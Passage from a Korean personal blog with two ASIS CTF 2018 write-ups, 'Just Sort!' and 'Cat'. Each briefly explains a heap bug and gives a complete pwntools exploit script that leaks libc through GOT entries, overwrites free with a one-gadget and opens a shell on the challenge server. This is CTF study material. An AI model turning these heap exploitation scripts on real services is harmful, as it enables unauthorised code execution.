HanJeouk의 개인공부 블로그

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

2018_Asis_CTF Just Sort!

CTF2018. 5. 3. 00:50

푸는 방식은 Cat과 거의 똑같다.

다른게 있다면 이 문제는 search라는 함수가 있는데 search를 분석해보면

사이즈를 어떻게 할당하던 무조건 read를 0x64만큼 받는다. 힙 오버플로우가 발생한다. 이걸 이용해서 똑같이 청크를 가리키고 있는 포인터를 조작하여 릭과 공격을 하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
#p=process("./just_sort")
p=remote('159.65.125.233',6005)
elf =ELF("./just_sort")
def insert(size,memo):
        p.sendlineafter("> ","1")
        p.sendlineafter("> ",str(size))
        print p.sendlineafter("> ",memo)
 
def edit(has,pos,memo):
        p.sendlineafter("> ","2")
        p.sendlineafter("> ",str(has))
        p.sendlineafter("> ",str(pos))
        print p.sendlineafter("> ",memo)
 
def Print():
        p.sendlineafter("> ","3")
 
def search(many,value):
        p.sendlineafter("> ","4")
        p.sendlineafter("> ",str(many))
        print p.sendafter("> ",value)
 
def delete(has,pos):
        p.sendlineafter("> ","5")
        p.sendlineafter("> ",str(has))
        print p.sendlineafter("> ",str(pos))
 
insert(16,"a"*16)
insert(16,"b"*16)
delete(1,0)
search(16,"A"*16+p64(0x80)+p64(0x21)+"A"*16+p64(0)+p64(0x21)+p64(0)+p64(elf.got["free"]))
 
Print()
print p.recvuntil("hash_id:1")
print p.recvuntil("0: \"")
free=u64(p.recv(6)+"\x00\x00")
base = free-0x844f0
one =base+0xf02a4
edit(1,0,p64(one))
delete(1,0)
 
p.interactive()
cs

다른 문제들도 풀어야겠다 ㅎ

'CTF' 카테고리의 다른 글

2018 0ctf babystack  (0) 2018.05.25
2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Cat  (0) 2018.05.03
2018 HITB-XCTF d  (0) 2018.04.15
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08

2018_Asis_CTF Cat

CTF2018. 5. 3. 00:41

메인 함수를 보자!

이렇게 되어있다!

우선 create 함수를 보면 함수가 한번 실행될 때 3번을 할당한다.

먼저 포인터 청크를 하나 만들고 name 청크 kind 청크를 만들어서 관리한다.

그 다음으로 edit 함수를 보자

create와 같이 청크 3개를 할당한다.

n을 누르면 free를 하는데 전역변수 0x6020f0을 0으로 초기화 시키지 않는다. 그렇게 되면 다음부터 edit 함수를 쓸 때는 할당하지 않고 바로 0x6020f0쪽에 값을 넣을 수 있게 된다. 그래서 그쪽에 청크를 만들고 edit을 시키면 청크 포인터를 조작할 수 있다. 

나는 그걸 이용해서 free를 puts로 덮어서 릭을 하고 다시 free를 one_shot으로 덮어서 풀었다. print 함수를 썼으면 free를 puts로 안덮고 그냥 릭할 수 있었는데 까먹었었다 ㅎㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
#p=process("./Cat")
p=remote('178.62.40.102',6000)
elf = ELF("./Cat")
 
def create(name,kind,old):
        p.sendlineafter("> ","1")
        p.sendlineafter("> ",name)
        p.sendlineafter("> ",kind)
        print p.sendlineafter("> ",str(old))
 
def modify(idx,name,kind,old,select):
        p.sendlineafter("> ","2")
        p.sendlineafter("> ",str(idx))
        p.sendlineafter("> ",name)
        p.sendlineafter("> ",kind)
        p.sendlineafter("> ",str(old))
        print p.sendlineafter("n> ",select)
 
def print1(idx):
        p.sendlineafter("> ","3")
        print p.sendlineafter("> ",str(idx))
 
def print2(idx):
        p.sendlineafter("> ","4")
 
def delete(idx):
        p.sendlineafter("> ","5")
        p.sendlineafter("> ",str(idx))
 
create("AAAA","AAAA",10)
modify(0,"BBBB","BBBB",10,"n")
create(p64(elf.got["free"]),p64(elf.got["free"]),10)
modify(0,p64(elf.plt["puts"]),"T"*16+p32(elf.got["puts"]),"1","n")
 
delete(0)
puts = u64(p.recv(6)+"\x00\x00")
base = puts-0x6f690
one = base+0xf02a4
print "puts: " + hex(puts)
print "base: " + hex(base)
modify(1,p64(one),"T"*16,10,"n")
p.sendline("cat /home/pwn/flag")
p.interactive()
 
cs




'CTF' 카테고리의 다른 글

2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Just Sort!  (0) 2018.05.03
2018 HITB-XCTF d  (0) 2018.04.15
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08
2017 Codegate Final building_owner  (0) 2018.03.29

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인